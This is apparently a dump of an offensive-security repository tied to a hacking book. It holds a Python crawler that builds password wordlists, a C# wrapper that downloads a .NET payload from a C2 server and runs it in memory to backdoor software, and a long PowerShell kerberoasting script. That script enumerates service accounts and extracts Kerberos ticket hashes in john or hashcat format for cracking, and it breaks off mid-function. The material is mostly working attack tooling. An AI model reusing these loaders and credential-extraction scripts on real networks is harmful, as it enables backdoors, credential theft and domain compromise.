python2.7 2 | 3 | ''' Creates wordlists from web scraping. BeautifulSoup requierd (pip install beautifulsoup) 4 | Writes output to wordlist.txt in the same directory 5 | Adapter from the work of https://gist.github.com/melpomene/1277869 6 | 7 | ''' 8 | import sys 9 | import os 10 | import robotparser 11 | from BeautifulSoup import BeautifulSoup as bs 12 | import urllib2 13 | from urlparse import urlparse 14 | 15 | PATH = './wordlist.txt' 16 | 17 | visited =[] 18 | 19 | def check(word): 20 | 21 | if len(word)> 13 or len(word)< 6: 22 | return False; 23 | if "<" in word or ">" in word: 24 | return False; 25 | if set('[~!@#$%^&*()_+{}":;\'\\-]+$.,').intersection(word): 26 | return False; 27 | 28 | return True 29 | 30 | ''' Returns all links found on page''' 31 | def return_links(raw_page): 32 | soup = bs(raw_page) 33 | links = [] 34 | for link in soup.findAll('a'): 35 | links.append(link.get('href')) 36 | return links 37 | 38 | ''' Saves all words in source code seperated with whitespace to file (on PATH) with one word per row''' 39 | def save_wordlist(raw_page): 40 | soup = bs(raw_page) 41 | wordlist = str.split(soup.__str__()) 42 | f = open(PATH, 'a') 43 | for word in wordlist: 44 | if check(word): 45 | print word.lower() 46 | f.write(word.lower()+'\n') 47 | f.close() 48 | 49 | ''' Recursive method that checks Robotparser if it is allowed to crawl and if allowed 50 | it parses all word and make recursive call to all found URLs''' 51 | def scrape(baseurl, page, rp): 52 | if page is None: 53 | return 54 | url = urlparse(page) 55 | if url.netloc=="": 56 | if(baseurl[-1] != "/" and url.path != "" and url.path[0] != "/"): 57 | baseurl = baseurl + "/" 58 | newurl = baseurl + url.path 59 | if "http" not in newurl: 60 | newurl = "http://"+newurl 61 | else: 62 | if baseurl != url.netloc: 63 | rp.set_url("http://" +url.netloc + "/robots.txt") 64 | rp.read() 65 | if verbose: 66 | print "Checking robot.txt on : "+ "http://" +baseurl + "/robots.txt" 67 | 68 | newurl = url.geturl() 69 | baseurl = url.netloc 70 | #recheck robots.txt 71 | 72 | 73 | 74 | if newurl in visited: 75 | return 76 | 77 | visited.append(newurl) 78 | if rp.can_fetch("*", newurl): 79 | if verbose: 80 | print "Allowed to fetch page "+newurl+". Initiating scrape." 81 | try: 82 | raw_page = urllib2.urlopen(newurl) 83 | raw_page = raw_page.read() 84 | #scrape for words. 85 | save_wordlist(raw_page) 86 | 87 | # scrape for links. Foreach link scrape. 88 | links = return_links(raw_page) 89 | if not links: 90 | return 91 | for link in links: 92 | scrape(baseurl, link, rp) 93 | except (urllib2.URLError, urllib2.HTTPError, ValueError): 94 | return 95 | 96 | 97 | 98 | else: 99 | if verbose: 100 | print "Not allowed to fetch page "+baseurl+page+". Shutting down operations" 101 | return 102 | 103 | 104 | 105 | 106 | if __name__ == "__main__": 107 | if len(sys.argv) == 1: 108 | print "Call with 'python wordcollector.py [--verbose] [url]'" 109 | exit() 110 | if sys.argv[1] == '--verbose': 111 | if len(sys.argv) == 2: 112 | print "Call with 'python wordcollector.py [--verbose] [url]'" 113 | exit() 114 | verbose = True 115 | url = sys.argv[2] 116 | else: 117 | verbose = False 118 | url = sys.argv[1] 119 | 120 | if verbose : 121 | print "URL: " + url 122 | print "OUTPUT: " + PATH 123 | 124 | if verbose: 125 | print "Reading " + url +"/robots.txt" 126 | rp = robotparser.RobotFileParser() 127 | rp.set_url(url + "/robots.txt") 128 | rp.read() 129 | if rp.can_fetch("*", url): 130 | if verbose: 131 | print "Allowed to fetch root. Initiating reqursive scrape." 132 | # INITIATE RECURSIVE SCRAPE. 133 | try: 134 | scrape(url, "", rp) 135 | except KeyboardInterrupt: 136 | pass 137 | if verbose: 138 | print"" 139 | print "---------------------" 140 | print "Scrape was completed. Check " + PATH 141 | 142 | 143 | else: 144 | if verbose: 145 | print "Not allowed to fetch root. Shutting down operations" 146 | exit() 147 | -------------------------------------------------------------------------------- /old/chap3/wrapper_assembly.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Net; 3 | using System.Reflection; 4 | 5 | /* 6 | Wrapper to download .NET executable, store it in a variable and execute its main function. 7 | The .Net assembly, can be produced by msf_backdoor.cs in the repo for instance. 8 | No need to mention the ".exe" extension in the filename. It is arbitrary. 9 | 10 | Code used in How to Hack Like a Legend book to plant a backdoor in a software 11 | 12 | To compile: 13 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe /out:hello.exe .\wrapper_assembly.cs 14 | 15 | PS: Change line 35 to reflect the namespace and class used in the program 16 | PPS: Change line 36 if you want to call another method other than main. 17 | 18 | @SparcFlow 19 | */ 20 | 21 | namespace wrapper 22 | { 23 | class Program 24 | { 25 | static void Main(string[] args) 26 | { 27 | System.Net.WebRequest.DefaultWebProxy.Credentials = System.Net.CredentialCache.DefaultNetworkCredentials; 28 | //classic webclient object to download data 29 | WebClient myWebClient = new WebClient(); 30 | 31 | //Download bytes from C2 domain 32 | byte[] myDataBuffer = myWebClient.DownloadData(""); 33 | 34 | //Reflectively load it in memory 35 | Assembly a = Assembly.Load(myDataBuffer); 36 | Type t = a.GetType("shellcode.Program"); 37 | MethodInfo staticMethodInfo = t.GetMethod("Main"); 38 | 39 | staticMethodInfo.Invoke(null,null); 40 | } 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /ps_scripts/kerberoast.ps1: -------------------------------------------------------------------------------- 1 | function Get-DomainSearcher { 2 | [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 3 | [OutputType('System.DirectoryServices.DirectorySearcher')] 4 | [CmdletBinding()] 5 | Param( 6 | [Parameter(ValueFromPipeline = $True)] 7 | [ValidateNotNullOrEmpty()] 8 | [String] 9 | $Domain, 10 | 11 | [ValidateNotNullOrEmpty()] 12 | [Alias('Filter')] 13 | [String] 14 | $LDAPFilter, 15 | 16 | [ValidateNotNullOrEmpty()] 17 | [String[]] 18 | $Properties, 19 | 20 | [ValidateNotNullOrEmpty()] 21 | [Alias('ADSPath')] 22 | [String] 23 | $SearchBase, 24 | 25 | [ValidateNotNullOrEmpty()] 26 | [String] 27 | $SearchBasePrefix, 28 | 29 | [ValidateNotNullOrEmpty()] 30 | [Alias('DomainController')] 31 | [String] 32 | $Server, 33 | 34 | [ValidateSet('Base', 'OneLevel', 'Subtree')] 35 | [String] 36 | $SearchScope = 'Subtree', 37 | 38 | [ValidateRange(1, 10000)] 39 | [Int] 40 | $ResultPageSize = 200, 41 | 42 | [ValidateRange(1, 10000)] 43 | [Int] 44 | $ServerTimeLimit = 120, 45 | 46 | [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] 47 | [String] 48 | $SecurityMasks, 49 | 50 | [Switch] 51 | $Tombstone, 52 | 53 | [Management.Automation.PSCredential] 54 | [Management.Automation.CredentialAttribute()] 55 | $Credential = [Management.Automation.PSCredential]::Empty 56 | ) 57 | 58 | PROCESS { 59 | if ($PSBoundParameters['Domain']) { 60 | $TargetDomain = $Domain 61 | } 62 | else { 63 | if ($PSBoundParameters['Credential']) { 64 | $DomainObject = Get-Domain -Credential $Credential 65 | } 66 | else { 67 | $DomainObject = Get-Domain 68 | } 69 | $TargetDomain = $DomainObject.Name 70 | } 71 | 72 | if (-not $PSBoundParameters['Server']) { 73 | try { 74 | if ($DomainObject) { 75 | $BindServer = $DomainObject.PdcRoleOwner.Name 76 | } 77 | elseif ($PSBoundParameters['Credential']) { 78 | $BindServer = ((Get-Domain -Credential $Credential).PdcRoleOwner).Name 79 | } 80 | else { 81 | $BindServer = ((Get-Domain).PdcRoleOwner).Name 82 | } 83 | } 84 | catch { 85 | throw "[Get-DomainSearcher] Error in retrieving PDC for current domain: $_" 86 | } 87 | } 88 | else { 89 | $BindServer = $Server 90 | } 91 | 92 | $SearchString = 'LDAP://' 93 | 94 | if ($BindServer -and ($BindServer.Trim() -ne '')) { 95 | $SearchString += $BindServer 96 | if ($TargetDomain) { 97 | $SearchString += '/' 98 | } 99 | } 100 | 101 | if ($PSBoundParameters['SearchBasePrefix']) { 102 | $SearchString += $SearchBasePrefix + ',' 103 | } 104 | 105 | if ($PSBoundParameters['SearchBase']) { 106 | if ($SearchBase -Match '^GC://') { 107 | $DN = $SearchBase.ToUpper().Trim('/') 108 | $SearchString = '' 109 | } 110 | else { 111 | if ($SearchBase -match '^LDAP://') { 112 | if ($SearchBase -match "LDAP://.+/.+") { 113 | $SearchString = '' 114 | $DN = $SearchBase 115 | } 116 | else { 117 | $DN = $SearchBase.SubString(7) 118 | } 119 | } 120 | else { 121 | $DN = $SearchBase 122 | } 123 | } 124 | } 125 | else { 126 | if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) { 127 | $DN = "DC=$($TargetDomain.Replace('.', ',DC='))" 128 | } 129 | } 130 | 131 | $SearchString += $DN 132 | Write-Verbose "[Get-DomainSearcher] search string: $SearchString" 133 | 134 | if ($Credential -ne [Management.Automation.PSCredential]::Empty) { 135 | Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection" 136 | $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) 137 | $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) 138 | } 139 | else { 140 | $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) 141 | } 142 | 143 | $Searcher.PageSize = $ResultPageSize 144 | $Searcher.SearchScope = $SearchScope 145 | $Searcher.CacheResults = $False 146 | $Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All 147 | 148 | if ($PSBoundParameters['ServerTimeLimit']) { 149 | $Searcher.ServerTimeLimit = $ServerTimeLimit 150 | } 151 | 152 | if ($PSBoundParameters['Tombstone']) { 153 | $Searcher.Tombstone = $True 154 | } 155 | 156 | if ($PSBoundParameters['LDAPFilter']) { 157 | $Searcher.filter = $LDAPFilter 158 | } 159 | 160 | if ($PSBoundParameters['SecurityMasks']) { 161 | $Searcher.SecurityMasks = Switch ($SecurityMasks) { 162 | 'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl } 163 | 'Group' { [System.DirectoryServices.SecurityMasks]::Group } 164 | 'None' { [System.DirectoryServices.SecurityMasks]::None } 165 | 'Owner' { [System.DirectoryServices.SecurityMasks]::Owner } 166 | 'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl } 167 | } 168 | } 169 | 170 | if ($PSBoundParameters['Properties']) { 171 | $PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') } 172 | $Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad)) 173 | } 174 | 175 | $Searcher 176 | } 177 | } 178 | 179 | function Convert-LDAPProperty { 180 | [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 181 | [OutputType('System.Management.Automation.PSCustomObject')] 182 | [CmdletBinding()] 183 | Param( 184 | [Parameter(Mandatory = $True, ValueFromPipeline = $True)] 185 | [ValidateNotNullOrEmpty()] 186 | $Properties 187 | ) 188 | 189 | $ObjectProperties = @{} 190 | 191 | $Properties.PropertyNames | ForEach-Object { 192 | if ($_ -ne 'adspath') { 193 | if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) { 194 | $ObjectProperties[$_] = $Properties[$_] | ForEach-Object { (New-Object System.Security.Principal.SecurityIdentifier($_, 0)).Value } 195 | } 196 | elseif ($_ -eq 'grouptype') { 197 | $ObjectProperties[$_] = $Properties[$_][0] -as $GroupTypeEnum 198 | } 199 | elseif ($_ -eq 'samaccounttype') { 200 | $ObjectProperties[$_] = $Properties[$_][0] -as $SamAccountTypeEnum 201 | } 202 | elseif ($_ -eq 'objectguid') { 203 | $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid 204 | } 205 | elseif ($_ -eq 'useraccountcontrol') { 206 | $ObjectProperties[$_] = $Properties[$_][0] -as $UACEnum 207 | } 208 | elseif ($_ -eq 'ntsecuritydescriptor') { 209 | $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 210 | if ($Descriptor.Owner) { 211 | $ObjectProperties['Owner'] = $Descriptor.Owner 212 | } 213 | if ($Descriptor.Group) { 214 | $ObjectProperties['Group'] = $Descriptor.Group 215 | } 216 | if ($Descriptor.DiscretionaryAcl) { 217 | $ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl 218 | } 219 | if ($Descriptor.SystemAcl) { 220 | $ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl 221 | } 222 | } 223 | elseif ($_ -eq 'accountexpires') { 224 | if ($Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) { 225 | $ObjectProperties[$_] = "NEVER" 226 | } 227 | else { 228 | $ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0]) 229 | } 230 | } 231 | elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) { 232 | if ($Properties[$_][0] -is [System.MarshalByRefObject]) { 233 | $Temp = $Properties[$_][0] 234 | [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) 235 | [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) 236 | $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low))) 237 | } 238 | else { 239 | $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) 240 | } 241 | } 242 | elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) { 243 | $Prop = $Properties[$_] 244 | try { 245 | $Temp = $Prop[$_][0] 246 | [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) 247 | [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null) 248 | $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low) 249 | } 250 | catch { 251 | Write-Verbose "[Convert-LDAPProperty] error: $_" 252 | $ObjectProperties[$_] = $Prop[$_] 253 | } 254 | } 255 | elseif ($Properties[$_].count -eq 1) { 256 | $ObjectProperties[$_] = $Properties[$_][0] 257 | } 258 | else { 259 | $ObjectProperties[$_] = $Properties[$_] 260 | } 261 | } 262 | } 263 | try { 264 | New-Object -TypeName PSObject -Property $ObjectProperties 265 | } 266 | catch { 267 | Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_" 268 | } 269 | } 270 | function Get-Domain { 271 | 272 | [OutputType([System.DirectoryServices.ActiveDirectory.Domain])] 273 | [CmdletBinding()] 274 | Param( 275 | [Parameter(Position = 0, ValueFromPipeline = $True)] 276 | [ValidateNotNullOrEmpty()] 277 | [String] 278 | $Domain, 279 | 280 | [Management.Automation.PSCredential] 281 | [Management.Automation.CredentialAttribute()] 282 | $Credential = [Management.Automation.PSCredential]::Empty 283 | ) 284 | 285 | PROCESS { 286 | if ($PSBoundParameters['Credential']) { 287 | 288 | Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain' 289 | 290 | if ($PSBoundParameters['Domain']) { 291 | $TargetDomain = $Domain 292 | } 293 | else { 294 | $TargetDomain = $Credential.GetNetworkCredential().Domain 295 | Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential" 296 | } 297 | 298 | $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password) 299 | 300 | try { 301 | [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) 302 | } 303 | catch { 304 | Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" 305 | } 306 | } 307 | elseif ($PSBoundParameters['Domain']) { 308 | $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) 309 | try { 310 | [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) 311 | } 312 | catch { 313 | Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_" 314 | } 315 | } 316 | else { 317 | try { 318 | [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() 319 | } 320 | catch { 321 | Write-Verbose "[Get-Domain] Error retrieving the current domain: $_" 322 | } 323 | } 324 | } 325 | } 326 | function Get-DomainSPNTicket { 327 | [OutputType('PxxxxxView.SPddicket')] 328 | [CmdletBinding(DefaultParameterSetName = 'RawSPN')] 329 | Param ( 330 | [Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)] 331 | [ValidatePattern('.*/.*')] 332 | [Alias('ServicePrincipalName')] 333 | [String[]] 334 | $SPN, 335 | 336 | [Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)] 337 | [ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })] 338 | [Object[]] 339 | $User, 340 | 341 | [ValidateSet('john', 'hashcat')] 342 | [Alias('Format')] 343 | [String] 344 | $OutputFormat = 'hashcat', 345 | 346 | [ValidateRange(0,10000)] 347 | [Int] 348 | $Delay = 0, 349 | 350 | [ValidateRange(0.0, 1.0)] 351 | [Double] 352 | $Jitter = .3, 353 | 354 | [Management.Automation.PSCredential] 355 | [Management.Automation.CredentialAttribute()] 356 | $Credential = [Management.Automation.PSCredential]::Empty 357 | ) 358 | 359 | BEGIN { 360 | $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') 361 | 362 | if ($PSBoundParameters['Credential']) { 363 | $LogonToken = Invoke-UserImpersonation -Credential $Credential 364 | } 365 | } 366 | 367 | PROCESS { 368 | if ($PSBoundParameters['User']) { 369 | $TargetObject = $User 370 | } 371 | else { 372 | $TargetObject = $SPN 373 | } 374 | 375 | $RandNo = New-Object System.Random 376 | 377 | ForEach ($Object in $TargetObject) { 378 | 379 | if ($PSBoundParameters['User']) { 380 | $UserSPN = $Object.ServicePrincipalName 381 | $SamAccountName = $Object.SamAccountName 382 | $DistinguishedName = $Object.DistinguishedName 383 | } 384 | else { 385 | $UserSPN = $Object 386 | $SamAccountName = 'UNKNOWN' 387 | $DistinguishedName = 'UNKNOWN' 388 | } 389 | 390 | if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) { 391 | $UserSPN = $UserSPN[0] 392 | } 393 | 394 | try { 395 | $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN 396 | } 397 | catch { 398 | Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_" 399 | } 400 | if ($Ticket) { 401 | $TicketByteStream = $Ticket.GetRequest() 402 | } 403 | if ($TicketByteStream) { 404 | $Out = New-Object PSObject 405 | 406 | $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-' 407 | 408 | if($TicketHexStream -match 'a382....3082....A0030201(?..)A1.{1,4}.......A282(?....)........(?.+)') { 409 | $Etype = [Convert]::ToByte( $Matches.EtypeLen, 16 ) 410 | $CipherTextLen = [Convert]::ToUInt32($Matches.CipherTextLen, 16)-4 411 | $CipherText = $Matches.DataToEnd.Substring(0,$CipherTextLen*2) 412 | 413 | if($Matches.DataToEnd.Substring($CipherTextLen*2, 4) -ne 'A482') { 414 | Write-Warning 'Error parsing ciphertext for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq"' 415 | $Hash = $null 416 | $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-','')) 417 | } else { 418 | $Hash = "$($CipherText.Substring(0,32))`$$($CipherText.Substring(32))" 419 | $Out | Add-Member Noteproperty 'TicketByteHexStream' $null 420 | } 421 | } else { 422 | Write-Warning "Unable to parse ticket structure for the SPN $($Ticket.ServicePrincipalName). Use the TicketByteHexStream field and extract the hash offline with Get-KerberoastHashFromAPReq" 423 | $Hash = $null 424 | $Out | Add-Member Noteproperty 'TicketByteHexStream' ([Bitconverter]::ToString($TicketByteStream).Replace('-','')) 425 | } 426 | 427 | if($Hash) { 428 | if ($OutputFormat -match 'John') { 429 | $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash" 430 | } 431 | else { 432 | if ($DistinguishedName -ne 'UNKNOWN') { 433 | $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' 434 | } 435 | else { 436 | $UserDomain = 'UNKNOWN' 437 | } 438 | 439 | $HashFormat = "`$krb5tgs`$$($Etype)`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash" 440 | } 441 | $Out | Add-Member Noteproperty 'Hash' $HashFormat 442 | } 443 | 444 | $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName 445 | $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName 446 | $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName 447 | $Out.PSObject.TypeNames.Insert(0, 'PxxxxxView.SPddicket') 448 | Write-Output $Out 449 | } 450 | Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) 451 | } 452 | } 453 | 454 | END { 455 | if ($LogonToken) { 456 | Invoke-RevertToSelf -TokenHandle $LogonToken 457 | } 458 | } 459 | } 460 | 461 | function Get-DomainUser { 462 | [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] 463 | [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] 464 | [OutputType('PowerView.User')] 465 | [OutputType('PowerView.User.Raw')] 466 | [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] 467 | Param( 468 | [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] 469 | [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] 470 | [String[]] 471 | $Identity, 472 | 473 | [Switch] 474 | $SPN, 475 | 476 | [Switch] 477 | $AdminCount, 478 | 479 | [Parameter(ParameterSetName = 'AllowDelegation')] 480 | [Switch] 481 | $AllowDelegation, 482 | 483 | [Parameter(ParameterSetName = 'DisallowDelegation')] 484 | [Switch] 485 | $DisallowDelegation, 486 | 487 | [Switch] 488 | $TrustedToAuth, 489 | 490 | [Alias('KerberosPreauthNotRequired', 'NoPreauth')] 491 | [Switch] 492 | $PreauthNotRequired, 493 | 494 | [ValidateNotNullOrEmpty()] 495 | [String] 496 | $Domain, 497 | 498 | [ValidateNotNullOrEmpty()] 499 | [Alias('Filter')] 500 | [String] 501 | $LDAPFilter, 502 | 503 | [ValidateNotNullOrEmpty()] 504 | [String[]] 505 | $Properties, 506 | 507 | [ValidateNotNullOrEmpty()] 508 | [Alias('ADSPath')] 509 | [String] 510 | $SearchBase, 511 | 512 | [ValidateNotNullOrEmpty()] 513 | [Alias('DomainController')] 514 | [String] 515 | $Server, 516 | 517 | [ValidateSet('Base', 'OneLevel', 'Subtree')] 518 | [String] 519 | $SearchScope = 'Subtree', 520 | 521 | [ValidateRange(1, 10000)] 522 | [Int] 523 | $ResultPageSize = 200, 524 | 525 | [ValidateRange(1, 10000)] 526 | [Int] 527 | $ServerTimeLimit, 528 | 529 | [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] 530 | [String] 531 | $SecurityMasks, 532 | 533 | [Switch] 534 | $Tombstone, 535 | 536 | [Alias('ReturnOne')] 537 | [Switch] 538 | $FindOne, 539 | 540 | [Management.Automation.PSCredential] 541 | [Management.Automation.CredentialAttribute()] 542 | $Credential = [Management.Automation.PSCredential]::Empty, 543 | 544 | [Switch] 545 | $Raw 546 | ) 547 | <# 548 | DynamicParam { 549 | $UACValueNames = [Enum]::GetNames($UACEnum) 550 | # add in the negations 551 | $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"} 552 | # create new dynamic parameter 553 | New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array]) 554 | } 555 | #> 556 | BEGIN { 557 | $SearcherArguments = @{} 558 | if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } 559 | if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } 560 | if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } 561 | if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } 562 | if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } 563 | if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } 564 | if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } 565 | if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } 566 | if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } 567 | if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } 568 | $UserSearcher = Get-DomainSearcher @SearcherArguments 569 | } 570 | 571 | PROCESS { 572 | #bind dynamic parameter to a friendly variable 573 | #if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { 574 | # New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters 575 | #} 576 | 577 | if ($UserSearcher) { 578 | $IdentityFilter = '' 579 | $Filter = '' 580 | $Identity | Where-Object {$_} | ForEach-Object { 581 | $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') 582 | if ($IdentityInstance -match '^S-1-') { 583 | $IdentityFilter += "(objectsid=$IdentityInstance)" 584 | } 585 | elseif ($IdentityInstance -match '^CN=') { 586 | $IdentityFilter += "(distinguishedname=$IdentityInstance)" 587 | if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { 588 | # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname 589 | # and rebuild the domain searcher 590 | $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' 591 | Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'" 592 | $SearcherArguments['Domain'] = $IdentityDomain 593 | $UserSearcher = Get-DomainSearcher @SearcherArguments 594 | if (-not $UserSearcher) { 595 | Write-Warning "[Get-DomainUser] Unable to retrieve domain searcher for '$IdentityDomain'" 596 | } 597 | } 598 | } 599 | elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { 600 | $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' 601 | $IdentityFilter += "(objectguid=$GuidByteString)" 602 | } 603 | elseif ($IdentityInstance.Contains('\')) { 604 | $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical 605 | if ($ConvertedIdentityInstance) { 606 | $UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) 607 | $UserName = $IdentityInstance.Split('\')[1] 608 | $IdentityFilter += "(samAccountName=$UserName)" 609 | $SearcherArguments['Domain'] = $UserDomain 610 | Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'" 611 | $UserSearcher = Get-DomainSearcher @SearcherArguments 612 | } 613 | } 614 | else { 615 | $IdentityFilter += "(samAccountName=$IdentityInstance)" 616 | } 617 | } 618 | 619 | if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { 620 | $Filter += "(|$IdentityFilter)" 621 | } 622 | 623 | if ($PSBoundParameters['SPN']) { 624 | Write-Verbose '[Get-DomainUser] Searching for non-null service principal names' 625 | $Filter += '(servicePrincipalName=*)' 626 | } 627 | if ($PSBoundParameters['AllowDelegation']) { 628 | Write-Verbose '[Get-DomainUser] Searching for users who can be delegated' 629 | # negation of "Accounts that are sensitive and not trusted for delegation" 630 | $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))' 631 | } 632 | if ($PSBoundParameters['DisallowDelegation']) { 633 | Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation' 634 | $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)' 635 | } 636 | if ($PSBoundParameters['AdminCount']) { 637 | Write-Verbose '[Get-DomainUser] Searching for adminCount=1' 638 | $Filter += '(admincount=1)' 639 | } 640 | if ($PSBoundParameters['TrustedToAuth']) { 641 | Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals' 642 | $Filter += '(msds-allowedtodelegateto=*)' 643 | } 644 | if ($PSBoundParameters['PreauthNotRequired']) { 645 | Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate' 646 | $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' 647 | } 648 | if ($PSBoundParameters['LDAPFilter']) { 649 | Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter" 650 | $Filter += "$LDAPFilter" 651 | } 652 | 653 | # build the LDAP filter for the dynamic UAC filter value 654 | $UACFilter | Where-Object {$_} | ForEach-Object { 655 | if ($_ -match 'NOT_.*') { 656 | $UACField = $_.Substring(4) 657 | $UACValue = [Int]($UACEnum::$UACField) 658 | $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" 659 